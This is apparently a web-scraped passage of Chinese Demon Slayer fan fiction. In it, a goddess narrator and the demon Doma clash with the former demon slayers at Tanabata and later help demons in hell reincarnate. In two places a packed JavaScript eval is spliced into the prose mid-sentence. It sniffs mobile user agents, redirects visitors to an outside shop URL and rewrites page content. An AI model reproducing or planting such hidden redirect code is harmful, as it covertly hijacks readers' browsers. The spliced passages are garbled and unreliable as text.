“不是,确切来说,讲的是男主角为了和牧羊女私会,所以让毒蛇咬死了妻子又故意设计陷害把她留在了地狱里的故事,是古希腊神话哦,您知道古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252375|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希腊吧?” 伊奘冉尊深深吸了一口气。 “月—读—!!!” 大正八年的七夕,宝冢的舞台上因为发生火灾而停演三天,所幸没有造成剧团人员伤亡。 戏看不成,只能出来逛街了。浅草寺的门前熙熙攘攘,竹枝子上挂满了许愿用的纸片,我怕弄脏了衣服,懒得再挤过去,再说一个神明许的哪门子愿,于是拉着那只鬼直奔夜市。 夜市最好了,夜市最棒了。夜市有各种团子鲷鱼烧鳗鱼盖饭关东煮烧鸟还有拉面,夜市就是我的天国! 不过一没留神,童磨大人就失踪了。 我举着鲷鱼烧找到那只鬼的时候,他正凑在一处全是小孩的摊子上。 “是捞金鱼呀。”我笑道,“你小时候没玩过吧?” “没有哦~”鬼跃跃欲试地说,“人家可以试试吗?” “当然了。不过那个网子是糯米纸做的哟,拼的就是速度,一开始捞不上来也没关系的。” 五分钟后,我发现我错了。 我,怎么会,低估了一只鬼的手速? 还是上弦里最敏捷的一只? 在摊主要杀人一样的怒视中,童磨大人优雅又大方地端起了一盆金鱼,顺手就塞到了我怀里。 “小染,给钱~” 我特别想知道我抱着个木盆手里还有块鲷鱼烧怎么给钱,然而这种事向来不在这狗男人的考虑范围内。 狗男人——伊奘冉尊这词用的真是太好了。 谁下次再和这狗男人在七夕出来约会,谁就是狗! 然而自己骂自己是没用的,我现在只想哭。 好好的七夕祭,我没事穿什么友禅染的中振袖? 穿了也就穿了,为什么我会踩着木屐抱着一盆金鱼左手鲷鱼烧右手洋伞,腰带上还插着个风车,紧跟着一只满眼好奇什么地方都要冲进去看一眼的鬼生怕他走丢了? 这是约会?这是陪谁家的小少爷去逛游乐园的女仆才对吧? 真想发个洪水把这一街的人都冲走算了… 脑子里这么想,天上真就开始下雨了。 我刚感慨完自己随身带洋伞是多么明智,就看那只鬼不知道从前面的摊子上买了什么,笑嘻嘻地朝我走了过来。 竟然是汽水!你总算像个男人了啊童磨大人! 我欣慰的想着,然而童磨大人无视了我像个移动货架的装扮,直接一脸天真的把瓶子送到了我眼前。 “是新出的饮料哦,叫什么可尔必思的,小染要不要试试?” 我只能吸了一口气,颤巍巍地说,“咱们去前面那个店里吧,反正下雨了,时候也不早了,喝完这个就回去吧?” “不要嘛~”好像回到八岁的鬼撒起娇来,“七夕好有趣呀~人家还没玩够呢~” 我脑内自动出现了一句江户脏话,狛治阁下骂的那句。 雨下的更大了。 我俩钻进了一家路边的荞麦面店,我总算把身上的一干零碎全放了下来,瘫坐在木椅子上让自己冷静了一会儿。 话说回来,这个叫可尔必思的饮料还不错,竟然是牛乳做的。 穿着一身洋服的鬼看起来跟这和风老店很不搭,然而洋服也挡不住他在店老板面前蹦跶。 “小染吃不吃荞麦面?有炸虾哦~” “不吃!你也不许吃了!” 再吃我就要成为史上第一个被吃破产的神了啊… 正说着,木门忽然被人拉开了,有个奇奇怪怪的人从外面一阵风似的冲了进来。 “猪突猛进猪突猛进!果然还是我伊之助大爷跑第一哇哈哈!” 野猪皮头套?这什么玩意? 等等,为什么好像有点眼熟来着? “诶?诶诶?”正站在门口看菜牌的鬼只愣了一刻,就特别开心地叫了出来: “诶呀呀,我没看错吧?是伊之助呀!小染~是伊之助那孩子哦~” 伊之助是谁来着? 我打量着那个赤裸着精壮的上半身,背后好像插着两把刀,腰间只有条皮草围裙的人。 这打扮也太奇怪了。这年头还有浪人吗? 可能看我没有反应,鬼哈哈大笑起来: “小染,你脑子真的不太好哦~仔细看看这是谁吧~” 说罢他以迅雷不及掩耳的速度伸手一把扯下了对方头上那个野猪皮的头套,头套下是一张极其漂亮的少年的脸,有着一双我在地狱里见过的碧绿色眼睛。 一时之间,激动的情绪让我忽略了少年脸上震惊至极的表情,脱口而出: “是你啊!我想起来了!你是琴叶的儿子!” 99. 尾声:七夕篇(下) 门外一下又挤进来几个年轻人,一个黄头发的少年边嗷嗷乱叫着“怎么这么大的雨啊祢豆子快点进来”一边拽着一位长相非常可爱的少女冲了进来。 名叫伊之助的少年突然大吼一声: “出去!别进来!” 黄头发的少年吓了一跳,“伊之助,你抽什么风啊,外面雨下的可大了,祢豆子妹妹的衣服都湿啦!” 话音未落一位身穿市松纹羽织的少年牵着另一位少女也进了店,脸上挂着温柔的笑容。 “伊之助这是怎么啦?雨这么大,我们在这里吃碗荞麦面再走吧。” 看到他身后那女孩清秀的脸,我脑子里只听到一声兵刃交鸣般的轰响。 已经过了两年,从地狱回到人间,一切都发生了巨大的变化。 然而我还是忘不了那张脸。 强行让自己迅速冷静下来,我抓起桌上的洋伞,走过去紧紧拽住童磨的手就往外拖。 某只鬼一脸无辜:“诶?小染,咱们的东西忘拿啦!金鱼金鱼~” “金鱼个鬼!”我索性用上了脑内通讯,“你看清楚这群人是谁了没?想跟他们打一架还是怎样?” “怎么会呢?”鬼高高兴兴的说,“被砍头那种事人家从来没有生过气呀,再说鬼杀队不是都已经解散了嘛,竟然有缘分还能碰见这几个孩子,正好可以叙叙旧哦~” “我不想叙旧!咱们回去!” 说着话就已经到了外面的街上,雨还在淅淅沥沥地下着,我撑起洋伞,把那只鬼遮在伞下,一边警惕地打开了防御。 这条街虽然位于浅草的闹市区,但街上因为下雨已经安静了不少,只有零星的行人急急忙忙地路过。 “小染生气了嘛?为什么呢?”那只脑子有病的鬼还在絮絮叨叨,“我个人完全不在意的,不要生气啦~对了,咱们去买点心怎么样,我知道小染吃点甜的就不会生气啦~” 生气还是紧张,我已经无暇顾及了,只想快点带他离开这个地方。 “给我站住!” 身后骤然传来一声怒吼,一股狂暴的杀气席卷而来。 我上前一步挡在童磨身前,单手握住洋伞,另一只手以二指在空中画出金色的一线,大喝一声: “退!” 雨水戛然而止。少年那张脸刹那笼上一层恍惚的神色,已经近在咫尺的双刀速度也慢了下来。 顷刻的意念压制就已经足够了。 我抄起洋伞,狠狠击打在对方的腰部,将那少年结实的身体横扫了出去。 “伊之助!” 店门口传来几声惊叫。剩下的几名年轻人也跑了出来。我看见那头上有蝴蝶头饰的女孩苍白着一张脸,以一种难以置信的眼神看着这边。 戴日轮耳饰的男孩愕然地注视着我们,黄头发的少年则大声嚷嚷:“你们搞什么啊?是不是认错人了?真是的,好不容易进城过七夕啊!” “俺才不可能认错…那张脸…就算烧成灰俺也认得!”那漂亮的男孩子朝同伴大吼道,“上弦之贰!那是上弦之贰!” “你在说什么啊!”黄头发少年站在那里翻白眼,“什么上弦之贰,我看你是吃多了天妇罗在做梦吧?无惨都已经下地狱了,哪来的上弦之贰?再说那个上弦之贰不是早就被你和香奈乎砍头了吗?对吧香奈乎?香奈乎?” 那名少女身穿七夕祭的浴衣,浴衣上画满细碎的花朵,已经比我在无限城幻境里看到的样子长大了一些,但依然显得娇小可爱。她只是翕动了下嘴唇,目光有些空洞,手中似乎紧紧攥着什么东西。 “诶呀呀,抱歉抱歉,还没有向大家问好呐~” 童磨走到我身边,语气颇为欢快地说,“多美好的一个夜晚呀,不如我请各位吃荞麦面怎么样?有什么话可以坐下来慢慢聊哦~” 我无语地看了他一眼,终于明白他之前是怎么死的了。 这鬼虽然观察力超强,但没法体会他人的愤怒、悲伤和仇恨,对发自这些情绪的一系列举动也很难理解,因此完全在自己的脑回路里思考和行动。 神明之子那颗原本充满神性的心早被侵蚀的所剩无几,这让他变成了不上不下的异类,不仅融入不了人类的世界,也融入不了鬼的世界。 “但他身上并没有鬼的气味啊。”戴日轮耳饰的少年轻声说,“伊之助,你是不是认错了?” “本大爷不会认错的!就是上弦之贰那个渣滓!”少年那张漂亮的脸几乎扭曲起来,“就是那个吃了俺的妈妈也吃了忍的混账东西!可恶,我们明明已经,明明已经把他送下地狱了啊!” “小伊之助说的没错~” 童磨笑嘻嘻地举起手中的野猪皮头套,“我还记得你和你妈妈哦~不过隔了这么久,你怎么还是这么弱呀?这样是砍不到我的哦?诶呀,对了对了!” 他忽然兴奋地拍了下手,“不如你们就来猜猜看,我现在到底是人还是鬼吧?要不要试试来砍我的脖子呢?不过先说好了,如果猜错了的话,后果可是相当严重哦~” “砍死你个渣滓还需要什么后果吗?!” 那暴风般的少年居然不知何时又奔袭至眼前,两把锯齿形的长刀以一个不可思议的角度砍向鬼的脖子。 我闪身过去,洋伞上浮动起一层炽烈的金光,自下而上的挑开了少年攻势凌厉的双刀,顺道一脚踢向他胸口。没想到那少年的身体异常灵活,竟然一个后空翻躲了过去,稳稳地落在了地上。 兹拉—— 我那友禅染的振袖下摆发出了一声悲鸣,终于…撕了。 我就知道…这一定是我人生中最糟糕的一个七夕了。 “啊,忘了说~小染,这孩子的身体非常柔韧哦,关节都是可以随便脱臼的,所以招式都是乱来的啦~”某只鬼在一旁看热闹不嫌事大的叽叽喳喳,“但你刚刚那一招也很不错哦,是黑死牟大人教的吧?原来小染不用刀也可以战斗吗?好厉害呀好厉害…” “你给我闭嘴!”我终于忍无可忍地喊道。 用洋伞,是因为我在地狱里用的刀法和“术”都是杀人技,不论是哪一种,我都没法控制好不取人性命。 就像童磨的血鬼术,一旦开启,就是用来收割人命的。因为我们就是这样的存在。 可就算已经用结界封锁了街道,我也不想当街杀人。况且在这场人和鬼的千年争斗中,失去的生命已经太多了。 “你这女人…到底是什么人?为什么要护着那个渣滓?”少年高举起双刀冲我咆哮,“给俺滚开,否则别怪本大爷连你一起砍!” “伊之助,你长大了啊…” 望着那双眼睛,我想起了在地狱的极乐寺幻境里那个教我做大福饼的、笑容温婉的少女。 那是我第一次感受到来自人类灵魂的善意。 在琴叶的记忆里见到这孩子的时候,他被妈妈抱在怀里,连乳牙都还没长齐。 琴叶曾经对我说,期待他长大以后成为像教主大人那样温柔又亲切的人。 彼时童磨倚在檐廊下,眯起眼睛懒洋洋地注视着我们,只是笑而不语。 现在想来,无论什么时候,他都很清楚那只是一场幻觉。 “对啊,我差点忘了,最后你成功的为母亲报仇了吧。”我轻声说,“这就够了,不是吗?毕竟一命抵一命啊。” “这位小姐,你不是鬼,为什么要保护上弦呢?”那位戴日轮耳饰的少年有点困惑地说,“你的气息很温柔,不像是坏人呢。” “灶门炭治郎,”我朝他点了点头,“你妹妹看来已经变回人类了,在她还是鬼的时候,你并没有放弃她,我听过你的故事,也非常同情你的遭遇。但这世上并不是所有的人都有你和你妹妹的运气。你们一路走来,遇到了很多关心和爱护你们的人吧?虽然失去了家人,但你从小到大,都是在家人的爱中长大的,对吧?” “你认识我?”少年似乎有些惊讶,“抱歉,但是我对你…” “你没有见过我,你身边也没人认识我。”我微笑道,“我是荒川的水神白姬,自江户时代起,我就掌管这座城市的洪水和降雨。除此之外,我还是童磨大人的眷属。以这种立场,我们是不是可以谈谈?” “你是…神明?”那姓灶门的少年睁大了眼睛,“但你为什么…” “气死俺了!炭治郎你听她胡扯什么呢!这可是上弦之贰那个渣滓啊!这蛆虫自己都承认了的!这个女的肯定也是鬼!俺就不…” 啪! 那少年看着我扬起的手,过会才反应过来,一蹦三尺高: “竟敢打俺伊之助大爷?!你这女人活腻了吧!既然你跟那蛆虫是一起的,就…” 啪! 我反手又是一记耳光。 “这是替你母亲教训你!” 看他举刀就要砍,我闪身过去扭住他的手腕,直接抓住他的日轮刀用力一掰,薄薄的刀身便应声而断。 黑死牟大人说过,太刀其实是很容易折断的,只要角度找的对,看起来强韧的日轮刀,也不过是普通的刀罢了。 我抓着断刀,任由鲜血顺指尖滴落,指着那少年厉声道:“?渣滓?蛆虫?你再敢骂他一遍试试看?当初是你母亲主动到他的寺院去找他求救的!没有他收留,你和你母亲早就冻死在山里,或者被你那亲生父亲拖回去打死了!你的命最开始就是他救下的!你这么恨他,为什么不干脆去死算了?!” “不讲道理是吧?好!”我抬起头,大声说道,“如我所见,各位都没有带刀吧?不奇怪,毕竟现在有禁刀令,你们鬼杀队也早就解散了。但是在这里参加过无限城之战的,全都知道上弦之贰的血鬼术是什么样的吧?!这条街上没人,是因为我临时用结界封锁了街道,但外面就是浅草的商店街,真要打的话,你们有没有拉几百上千个普通人一起陪葬的觉悟?!” 这话让那名叫炭治郎的少年眼中掠过了明显的迟疑,他皱紧了眉头,似乎一时难以抉择。 “打什么呀,这里又不是无限城~”童磨轻笑起来,金扇在手中半开半合,“再说这代猎鬼人已经完了吧?柱死的没剩几个了,也活不了几年啦~而且你们几个孩子连刀都没带,是砍不了鬼的哦?”?他微微眯起那双冰冷而璀璨的七彩瞳,看向那少年,“虽然你继承了日之呼吸,但现在看来你的手臂残疾了一条,眼睛也瞎了一只,你身边那个小姑娘,诶呀,叫什么来着?香奈惠还是香奈乎?算了算了,人家总是弄不清女孩子的名字,她看起来眼睛也有些问题呢,好可惜,我记得这孩子的眼睛很特别,能看清我的动作呐,现在变成这样,真是好可怜…我不是无惨大人,对你们这些可怜的孩子,我一向是很善良的,所以今天不会和你们打哦~” “小伊之助,”他转向那绿眼睛的少年,语气罕见地带上了几分认真,“害你失去妈妈,真的很抱歉哦。上次见面时我说过了吧?我一开始并没有要吃掉你妈妈的打算,琴叶是个心地善良的人,她在我身边时,真的让我心情很好哦,还有她给你唱的歌,我到现在都记得很清楚呢。我在地狱里见过她啦,虽然她依然没法理解我的善行,但我们还是好朋友…” “住口!不准用你那张肮脏的嘴提起俺的妈妈!你不配!什么地狱,你别胡说八道了!俺的妈妈怎么会在地狱里?你这混账!俺能送你下一次地狱,就还能再送你下去一次!哪怕杀你一百次一千次也不能抵你杀了俺的妈妈和同伴的罪!” “胡说八道?我说过,以诚待人可是我唯一的优点哟~”鬼无辜地说,“地狱一点也不可怕,相反非常的有趣呢,我们在那里玩的超开心的,对吧小染?“ “算了,童磨大人。”我摇了摇头,“你说什么他们都不会相信的。我们走吧。” “等等!”那名叫炭治郎的少年忽然开口,“是你杀了忍和香奈惠吗?” “是我呀~”童磨笑眯眯地说,“小忍是很坚强的女孩子哦,为了给姐姐报仇,就算没有什么天赋,又受了那么重的伤,也坚持和我战斗到了最后呢,人家可是相当感动,所以才赐予了她救赎哦~” “什么啊…你…就一点忏悔的意思都没有吗?”那少年怔怔地说,“你杀了忍,夺走了那么多的生命,为什么你还可以…笑的出来?” “关于这一点,上次我也跟这两个孩子解释过啦~”鬼不紧不慢地说,“我是万世极乐教的教主,凡是被我吃掉的生命,都会和我一起得到永生哦~不过现在我也知道啦,灵魂本来也是永生的,所以死亡一点也不可怕,死掉的话去转世就好了嘛~所谓的天国和地狱,都是人类自己的执念创造出来的,因为人类是虚无飘渺的存在,他们自己活着时没法摆脱痛苦,又改变不了那些让自己痛苦的事,为了自我安慰才编造出这种童话,所以人类实在是太可怜啦。但救赎也是看缘分的,只有我特别看中的人,我才会给他们救赎哦,小忍应该已经去转世了,像她那么可爱的女孩子,来世一定会得到幸福吧,这是一件好事呀~” “炭治郎…不要再听他胡说八道了…已经…够了…” 那位戴着蝴蝶头饰的少女抬起头来,眼神一片空洞的晦暗。 “什么救赎,都是骗人的谎话。你根本什么也不懂,因为你什么也感觉不到…人们的喜怒哀乐,你全都理解不了,所以才会说出这种可笑的话…都是因为你,我才失去了两位姐姐,你这样的…你这样的怪物…才应该死掉,连渣滓都不剩的死掉!你到底为什么还活着啊?恐怕连你自己都不知道吧?” 那女孩竟然笑了起来:“呵呵…真是太好笑了,虽然不知道你为什么还活着,但就算死了一次也还是像个傻瓜,还是趁早再多死几次吧,毕竟你活着除了害人,根本没有一点意…” 女孩的声音戛然而止,因为我抓住她的脖子将她死死地按在了墙上。 “香奈乎!” 几个少年一起叫了出来,不愧是受过训练的猎鬼人,即便在慌乱中也还是配合默契,他们从多个方向以极快的速度朝我攻来。 如果手里拿的不是木棍或者断刀还像那么回事。 “都不准动——!” 随着我的声音,一道金色的涟漪在空气中扩散出去,已经扑来的几个身影顿时僵在了半空,随即就被无形的压力按在了地上动弹不得。 “不管你是什么,不要伤害香奈乎!” 戴日轮耳饰的少年用仅剩的一只胳膊撑起身体,失控地冲我大喊: “你敢伤害她的话,我一定不会放过你!” “这是神明才有的‘言灵’。”我淡淡地说,“你们再乱动乱说话,我就扭断这姑娘的脖子,我一向说到做到。” “就是嘛,不要亵渎神明哦~”某只鬼在一旁笑嘻嘻地说,“你们这些孩子老是这么急躁,总得让人把话说完嘛~” “香奈乎小姐,我早就知道你。”我转向因为被我扼住脖子而面色苍白的少女,“虽然我是个神明,但毕竟我们都是女人,我就暂时放下神明的身份,来跟你讲讲道理。” “你口中的这个怪物,曾经在我还是人类时救过我的命,不仅如此,在两百年中,他还安慰过许多人,救济过许多人,收留过许多人,那些你的祖辈可能都没见过的天灾人祸,他全都见过、听人说过,甚至和亲历者交谈过,你说他什么也感受不到,所以活着没有意义?他为什么必须感受你们这些人类的喜怒哀乐?别犯傻了,你们是什么尊贵的存在,值得神明之子理解你们的一切?” “他说人类是痛苦的,是因为他亲眼见到过千千万万人的痛苦。而你呢?你经历的只有你自己的痛苦而已,说他是傻瓜,你不觉得你才是那个可笑的人吗?” 我稍微松了松手,让女孩能够喘息。 “我很遗憾你在这场战争中失去了重要的人,我和你一样,也失去了我重要的人。这是没办法的事,毕竟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252376|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃过的人太多,背负的因果太深重。但唯独对你,我不会道歉,他也不会道歉,你知道这是为什么吗?” “因为在战场之上,双方代表的是对立的两个阵营,大家都是为自己的阵营而战,彼此之间本来并无私仇可言。如果我没记错的话,你的两个姐姐都是猎鬼人,你到底为什么会认为,身为上弦的他,理所应当对她们手下留情?你凭什么会这么认为呢?难道就因为你们是女孩子?不,你们首先是猎鬼人,其次才是女孩子。既然选择加入鬼杀队这个复仇组织为产屋敷卖命,就自动卷进了这场残酷的游戏,牺牲是早晚的事。事实上你的姐姐们确实也这么做了,用七百倍藤花毒重创他的时候,用刀砍他、捅他眼睛的时候,你们有过一丝一毫的仁慈吗?你们没有。所以你到底为什么心怀如此强烈的怨恨呢?他并不欠你们任何东西啊。” 少女的脸涨的通红,全身因为巨大的愤怒而颤抖的厉害,我笑了笑,继续说道: “你一定想说,因为鬼吃人,所以活该被杀、被人砍,不论怎样对待他们都可以,对吗?香奈乎小姐,你吃不吃肉啊?我猜你没吃过牛肉,但烧鸟和牡丹锅总该吃过吧?你能不能告诉我,为什么人类可以猎杀天上地下所有的动物,鬼却不能猎杀人类?人类不是这世界的一部分吗?既然是世界的一部分,就不要那么自以为是,要知道世上总有一天会出现比你们更强大的存在,只不过你们因为怯懦和愚蠢不愿去承认罢了。况且鬼狩猎只是为了填饱肚子,你们人类自己出于各种原因杀的人可就多了,几百年,几千年,你们用彼此之间的怨恨和争端弄脏了整个世界,却反过来指责区区几只鬼吃的人多?以为只要消灭了所有的鬼你们就能获得幸福?也太天真了吧?” “所以哦,小姑娘,”我贴近她,抚摸着她年轻的脸,“我们是不会向你道歉的,也并没有任何忏悔的意愿,这不仅仅是因为他已经死过一次,赎清了所谓的罪孽,也是因为,神明是不会向人类道歉的。毕竟你们这种在战斗中只会靠下毒来取胜的人,得不到我一星半点的尊重啊。” “香奈乎小姐,你可以继续向童磨复仇。你可以将今天的一切告诉给产屋敷,甚至传给你们的子孙后代,如果你希望你的后代像你一样活在仇恨当中。但是那样的话…” 我微笑起来,一字一句地说: “你想要你的后代受到神明的诅咒吗?像产屋敷家那样的诅咒,几十年,几百年,没有一个人能活过三十岁,全身溃烂而死…你想要那样的诅咒吗?我是个神明,那种事,我是可以做到的哦。” “那个叫炭治郎的男孩子开了斑纹,活不了多久了吧?大概明年或者后年,你就会怀上他的孩子。到底要怎么做,你自己好好想想吧。” 我松开了手,看着她呆呆地滑坐在地上。 “我的话说完了,童磨大人,我们走吧。” “诶?已经说完了吗?那我们就先走啦,下次再见哦~” 童磨愉快的朝那几个人挥了挥扇子,跟我一起走出了那条阴暗的街道。 直到眼前一亮,出现了灯火辉煌的商店街,我才暗暗松了口气。 本来还担心我或者他会因为控制不住而杀人,现在看来是我想多了。 结果刚解开结界,就看见那脾气暴躁的野猪少年哇哇大叫着追了出来。 “不准跑!竟敢把俺按在地上!俺要咬死你们这两个渣滓!” 琴叶啊,我对你儿子真是一点办法也没有了,但这全都怪这只脑子有病的鬼,如果他不杀你,这孩子就会在母亲的爱中长大,无论如何不会变成这副满怀恨意的样子。 但没能在爱中长大的,又何止你的孩子? “伊之助,对不起啦。” 我转身朝那少年笑了笑,然后一把挽住童磨的胳膊,深吸了一口气,发出了自己有史以来最高水平的尖叫—— “哇啊啊啊!抢劫啦!!!” 浅草的商店街上向来扒手众多,所以也不缺巡查,我的尖叫声很快有了回应,人群开始自动向这个方向聚集,巡查们吹着尖利的口哨跑了过来。 “夫人,发生什么事了?抢劫犯在哪里?” 我装出一副要昏倒的样子,举起还在流血的手,颤抖着指向对面不知所措的少年。 “警官先生救命啊…这孩子突然冲出来攻击我们,您看看我的手,还有我的衣服,全被他弄破啦!巷子里还有他们的同伙,刚刚在荞麦面店他们就找茬要打我们,好不容易跑出来还是被追上了…呜呜呜太可怕了,这可是浅草,怎么会有这种人呢…还有没有法律可言啊…” “这不是罗斯林咖啡的老板娘吗?怎么弄成这样了?”有认识我的巡查马上说,“您先别急,我们马上就抓住那伙人,给您和这位先生一个交代。” “那就麻烦您了,啊,那孩子跑了!” “追!快追!别让他们跑了!” 我看着一群巡查涌入了刚刚的巷子,露出了胜利的微笑。 “走吧,童磨大人。我们去买点心和汽水,多买点,回去给山田先生他们也尝尝。” 鬼眨了眨眼,仿佛刚刚发生的一切让这位昔日的上弦之贰也有点惊讶。 然后,他,脸红了。 他!竟然!脸红了! 我嘴角抽搐着被这只面泛春色的鬼当街一把抱在了怀里。 “小染太厉害了!刚刚做的真是太漂亮啦!好喜欢这样的小染哦!我就知道!我就知道小染一定会站出来帮我说话的~啊啊,人家真是太感动啦~” 我被抱的快要窒息,想推开他,却穿过满街熙熙攘攘的人群和辉煌的灯火,穿过两百年来颠沛流离的岁月,看见了那个披着黑衣的孩子在朝我微笑。 ——?白姬小姐,您是我见过的第一个会站出来帮我说话的人,虽然不太明白您为什么那么生气,但我还是很感谢您哦,您真是一位勇敢的女孩子呢。 于是我伸出双手,也同样回抱住了他。 “放心吧,我会永远站在童磨大人这边的。之前在地狱里我说过的吧,下次要是再有人说你活着没意义什么的那种话,看我替你揍她。我可是个神明,神明要信守承诺呀。” “诶,但是小染真的还会诅咒吗?”鬼好奇地问,“之前好像从来没听你提过呢?” 这下我感到了一丝尴尬。 “那个…我当然不会了,谁学过那种恶心的东西嘛,净化诅咒还差不多。但是之前柳生家那个让你用刀割伤手的男孩子,回去后不久真的就死了哦,所以我也不知道是不是我的诅咒应验了…毕竟我当时也是咒他全身烂掉什么的…” “啊哈哈哈,听起来好可怕呀,不过白姬小姐一点也没有变哦,尤其是生气的样子。” “谁生气了,我才没生气呢!我是心疼我的新衣服…啊对了,你的金鱼还在那家店里,快去拿回来吧!” 因为下摆撕了,我索性脱下了那件华丽的中振袖,临时买了件浴衣换上,这下才感觉清爽多了。 从商店出来,才发现人群都往荒川边涌去,听说是要放烟花。 人太多,于是我俩找了一处屋顶,边喝酒边看着远处升起的一团团绚烂无比的花火。 “呐,童磨大人,之前你好像是说过,想回京都去吧?” 花火映在那只鬼剔透的眼睛里,他轻轻一笑。 “小染是想躲开鬼杀队的人吗?其实没有必要哦,光凭这几个孩子什么也做不了,况且产屋敷那边还有无惨大人,完全不用担心啦。” “我确实不想再遇到这几个孩子,但也不全是这个原因,我…想看看你长大的地方。” 鬼好像愣了片刻,随即微笑道: “好呀,那我们过些天就走吧,正好在那边待到秋天的话,能看到很漂亮的枫叶哦~” “那就这么说定啦。啊,忘了说那句话了,七夕快乐呀。” “七夕快乐哦,小染。” 100. 尾声:鬼月篇(上) 盂兰盆节,八月中最重大的节日。相传人类在这一天不仅要供养僧众,为祖先赎罪,还要打扫屋子,在灵位前燃香供奉,迎接祖先的灵魂归家。 不过无间地狱里的鬼,显然全都无家可归,自然也没什么供奉可言。 但神明是干什么的?神明就是给大家提供帮助的嘛! 用“时轮”再次打开地狱的“门”,我事先做了不少准备工作,毕竟距离离开那里已经过了快两年,虽然童磨跟我说地狱里的日子现在幸福到令人感动,但鉴于童磨嘴里的“幸福”和正常的“幸福“往往存在一定差距,怎么说呢,我感觉还是需要些更具体的准备才行。 这种事完全指望不上某只鬼。听闻我要回地狱去处理鬼们转世的事,法袍加身的教主大人端坐在他鲜花环绕的神坛上,满脸慈悲地做出了开示: “交给你啦,小染,神明相信以你的能力一定可以完成如此重要的工作。” 我:“……据我所知,我不是鬼王。” 教主大人用金扇掩着脸,无辜地说:“人家也不是呀,要不小染去问问无惨大人要不要跟你一起去?” 我义愤填膺地瞪着他,然而并没有什么用。 这群鬼几百年来到底是如何进行自我管理的?这是一个永远的谜。 开咖啡馆都不是这么开的。 想到无惨大人每次见到他的下属都必然会酿成血案,而且杀伤力比鬼杀队还可怕,我决定还是不去麻烦潜伏在产屋敷宅邸里还要忙着做药品出口生意的他老人家了。 结果就是,我,一个神灵,站在过去产屋敷宅邸废墟的那座睡莲菩萨像下,独自面对一群窃窃私语的鬼。 我不禁感叹,几次大战,这血鬼术生成的巨大冰菩提竟然还屹立不倒,晶莹洁白的裙裾下现在变成了一方浅湖,湖中盛开着无数鲜活的白莲。 看起来极像神迹,颇有几分地藏菩萨的风范。 而死灵之森终于没有了死灵,而是彻底变成了一片宁静的森林。三途河的金色灵脉在空中交织成如同极光的华美天河,一轮明月照耀在这片永夜笼罩的大地上。 看来在我离开后,童磨和月读命他们竟然完成了对地狱的净化,这是我始料不及的结果。 也不是什么活都没干嘛,那只鬼。 我望着面前的几百只鬼,有点不知道说什么才好。他们穿着不同时代的衣服,像一群时间中的流浪者,只是群聚在此地,除了长相姿态有点诡异之外,好像和人类也没什么不同。 鬼本来就曾经是人类,因此他们的灵魂还是人类的特点更多一些。比如我现在就能听到他们中间叽叽喳喳的议论。 ——怎么是这个女人啊?那位大人呢? ——听说那位大人被上弦之贰吃啦。 ——假的吧?怎么可能有那种事? ——你在山里蹲傻了吧?这都不知道?后来那个继国缘一还来这里打了一架你没看见吗? ——诶呦,那场战斗可是吓死人了。 ——所以这女人是来干什么的?上弦选拔吗? ——不要吧,好不容易过几天安静日子。 “那个——”我有点不好意思的打断了一群鬼的私聊,“抱歉,请大家安静一下,容我讲几句话。” 大概是我的声音以神明的意念扩散开来,吓了他们一跳,下面顿时鸦雀无声。 “我是江户城外荒川的水神,也是上弦之贰、童磨大人的眷属,大家之前可能见过我,也可能没见过,很抱歉让你们在地狱里等了这么久,我来这里也是受了掌管地狱的神明的委托,帮助大家去往人世转世重生。” “真的吗?”鬼群里有惊喜的声音说,“我们不用受罚了?可以去转世了?” 我注视着面前的群鬼:“你们活着时就已经堕落为鬼,虽然各有各的缘由,但大抵要么是意外,要么是天生没法做一个正常的人,再或者就是被天灾人祸逼的活不下去,已经受尽了苦吧。况且各位来到地狱也经历了很多,相信你们经过一番试炼后都有了新的觉悟,这就够了,其他的惩罚已经不需要了。” “出生和成长在新的时代、新的家庭、新的环境里,你们会成为完全不同的人。当然,也许上一世做鬼的记忆依然会影响你们,我们称之为业力,但人类皆有自己的业力,无论行善还是作恶,和你曾经是人还是鬼没有关系,取决于你在新的人生面前如何选择,是否学会了珍惜自己,珍惜生命。” “人类常说需要你们受罚,需要你们赎罪,但单纯的惩罚是无法让人成长和有所觉悟的。况且每个人都有走投无路的时刻,你们都曾经是人类,也该明白从来没有人为他们将你们逼迫成鬼而负责。所以,只能请诸位自己承担自己的因果,自己选择自己的道路,无论怎样选择,请记住都是为了你们自己的灵魂,而不是为了旁人为你们制定的标准。” “愿意成为人类的,可以选择保留自己这一世做鬼的记忆,我也会为大家安排和平的时代去转世。但新的人生中你们会和谁相遇,成为什么样的人,依然是未知,毕竟即便是神明,也无法完全预知所有人的命运,但灵魂正是在一次次的轮回中完成蜕变和成长的,请各位务必记住这一点。” “还有,请大家记住,这个世界上本来没有天国和地狱,是人的心创造了天国,也创造了地狱,连神明对此也无能为力。但同样,人的心也可以创造极乐净土,虽然在现实中那很难很难,但每个人在心中,都可以创造属于自己的极乐净土。因为神明其实不在神坛之上,而是在你们心中。” “我的话说完了,接下来我会开启前往人世的‘门’,请大家做好去转世的准备吧。” 金色的光柱再次升起在大地之上,我降下净化之雨,帮助这些曾经在人世作为“异类”而存在的灵魂,踏上重生的道路。 他们彼此告别,脸上有欣喜,有悲伤,有迷惘,有释然,但终于没有了怨恨。 “再见啦,各位,来世有缘再见。” 